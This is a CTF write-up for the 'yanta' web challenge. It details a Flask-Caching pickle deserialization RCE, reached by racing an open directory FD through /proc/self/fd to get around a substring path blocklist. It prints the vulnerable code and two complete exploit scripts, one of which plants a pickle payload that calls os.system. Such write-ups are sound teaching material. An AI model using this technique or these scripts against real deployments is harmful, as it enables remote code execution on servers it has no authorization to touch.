pwneglyph logo
web python flask flask-caching cachelib filesystemcache pickle deserialization race-condition procfs proc-self-fd dir-fd path-filter-bypass gunicorn-threads rce

A Flask note app stores cache entries as md5-named pickle files and writes them via an open directory FD. By racing that still-open FD through /proc/self/fd, you bypass the path blocklist, plant a malicious pickle, and get RCE on the next cache read.

yanta — FileSystemCache pickle RCE raced through /proc/self/fd

CTF: Midnight Flag Finals 2026 · Category: Web · Stack: Python / Flask, Flask-Caching (cachelib) FileSystemCache, gunicorn (1 worker / 8 threads)

Challenge overview

YANTA ("Yet Another Note Taking App") lets you create notes and view them. The home page is rendered HTML cached on disk so it "stays cheap to serve". There's a suid-root /getflag helper in the container, so the goal is plainly RCE as the ctf user, then run /getflag.

Filesystem layout from the Dockerfile: /data/notes and /data/cache exist and are writable; /data is effectively wide open; everything else is read-only. The server runs:

gunicorn -w 1 --threads 8 --timeout 60 -b 0.0.0.0:8000 wsgi:app

That detail matters: one process, eight threads → concurrent requests share the same /proc/self/fd namespace → this screams race condition.

The pieces

1. Notes are written verbatim to a user-controlled path (storage.py / views.py), guarded only by a substring blocklist:

BLOCKED = ("..", "cache")
def check_title(title):
    low = title.lower()
    for tok in BLOCKED:
        if tok in low:
            abort(403, f"title rejected: {tok!r} is not allowed")

def save_note(title, body):
    path = _note_path(title)              # os.path.join("/data/notes", title)
    parent = os.path.dirname(path)
    if parent: os.makedirs(parent, exist_ok=True)
    with open(path, "wb") as f:
        f.write(body)                     # raw request body, no transformation

Two gifts here:

  • os.path.join("/data/notes", "/abs/path") returns the absolute second argument — so an absolute name escapes /data/notes entirely.
  • The blocklist is a dumb substring check for .. and cache. A path like /proc/self/fd/12/<md5> contains neither.

2. The cache stores pickle on disk under predictable names (rendercache.py):

def render_and_cache(self, name, body):
    fc = self._cache.cache
    fname = os.path.basename(fc._get_filename(self._key(name)))   # md5("note:"+name)
    dirfd = os.open(fc._path, os.O_RDONLY | os.O_DIRECTORY)       # FD -> /data/cache, held open
    out = render_text(body.decode("utf-8"))
    fd = os.open(fname, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644, dir_fd=dirfd)
    with os.fdopen(fd, "wb") as f:
        f.write(struct.pack("I", int(time.time()) + self.ttl))   # 4-byte expiry header
        fc.serializer.dump(out, f)                               # pickle dump (cachelib default)
    os.close(dirfd)
    return out

cachelib's FileSystemCache serializer is pickle, so any file we can place in /data/cache with the right name is executed on the next cache.get() (which does pickle.load()).

Filenames are deterministic: md5(key_prefix + name) with key_prefix = "note:".

>>> import hashlib; hashlib.md5(b"note:welcome.txt").hexdigest()
'6400cc4589432cfd24676ffc62c5e3c1'      # matches the real file in /data/cache

The actual primitive: an open directory FD, not path traversal

We can't just write name=/data/cache/<md5>cache is blocked. But look again at render_and_cache: it opens a directory FD to /data/cache (dirfd) and that FD stays open for the whole duration of rendering + serializing + writing. While it is open, the kernel exposes it as a live symlink at /proc/self/fd/<n> pointing at /data/cache.

So from a concurrent thread, posting a note with:

name = /proc/self/fd/<n>/<md5>

resolves to /data/cache/<md5> — the string never mentions cache or .., and save_note happily writes our bytes there. The only catch is timing: the FD only exists during a cache write, so we need to keep one in flight and race it.

A large note body widens the window: rendering/serializing/writing megabytes keeps dirfd open longer. Observed FD number was around 11–13 (often 12); spraying ~7–16 covers it.

Exploit

Two scripts. First, the spammer, which keeps a /data/cache directory FD open as often as possible by writing and then reading (read triggers render_and_cache) large notes:

import requests, time
URL = "http://localhost:8000/"
i = 0
while True:
    name = f"spam_{i}.txt"; i += 1
    requests.post(URL + f"note?name={name}", data="r" * 1_000_000)  # large body = slow write
    requests.get(URL + f"note?name={name}")                          # GET triggers render_and_cache
    time.sleep(0.01)

Second, the writer: build a pickle gadget, prepend the 4-byte expiry header so the file matches the exact on-disk format cachelib expects, spray it across candidate FDs, then force a cache read to load it:

import requests, hashlib, pickle, struct, time
URL  = "http://localhost:8000/"
READ = "cnf409"                                  # the note name we'll read back to trigger load
MD5  = hashlib.md5(f"note:{READ}".encode()).hexdigest()

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("/getflag > /tmp/out; chmod 666 /tmp/out",))

# exact cache-entry format: little-endian 4-byte expiry, then pickle
payload = struct.pack("I", int(time.time()) + 600) + pickle.dumps(RCE())

while True:
    for fd in range(7, 17):                       # dir FD usually ~11-13; spray a range
        r = requests.post(URL + f"note?name=/proc/self/fd/{fd}/{MD5}", data=payload)
        if r.status_code == 200:
            requests.get(URL + f"note?name={READ}")   # cache.get() -> pickle.load() -> RCE
            requests.get(URL + f"note?name={READ}")
            raise SystemExit(f"fired via fd {fd}")

Run the spammer in the background, then the writer. When a write lands inside /data/cache with the right md5 name, the subsequent read of READ deserializes our pickle, os.system runs /getflag, and the flag ends up in /tmp/out.

$ python3 exploit.py
Cache name: 337830ba2dcd35a9734496eba075cbc4
wrote RCE payload to rce.bin
triggered RCE for fd 11

Pitfalls that cost time

  • .. and absolute-path normalization tricks are a rabbit hole. Trying to smuggle cache via unicode homoglyphs (с, ) or os.path quirks doesn't get you a write into the live cache the app actually reads. The /proc/self/fd route is the intended one because it reuses the app's own open directory handle.
  • You must actually populate the cache. A note that is only POSTed is never cached; the directory FD only opens when the note is read (render_and_cache). The spammer has to GET each note.
  • Exact file format. Forget the 4-byte little-endian expiry header and pickle.load chokes before reaching your __reduce__.
  • Thread vs. process. This works because gunicorn runs one multi-threaded process — the writer thread shares /proc/self/fd with the thread holding dirfd. Multiple processes would require hitting the same worker.

Takeaways (generalized technique)

  • "Open a dir/file FD now, resolve a user-controlled name against it later (os.open(..., dir_fd=fd))" turns that FD into a reusable capability reachable via /proc/self/fd/<n> — a path-filter bypass that needs no ...
  • cachelib / Flask-Caching FileSystemCache defaults to pickle; an arbitrary write into the cache dir with a predictable md5(prefix+key) name is RCE on the next read.
  • Concurrency (multi-threaded worker) + a slow/large write = a race window you can hit reliably by spamming.
  • Blocklists on substrings (.., cache) are trivially sidestepped when the dangerous path is expressed indirectly (/proc/self/fd/...).

Sources & references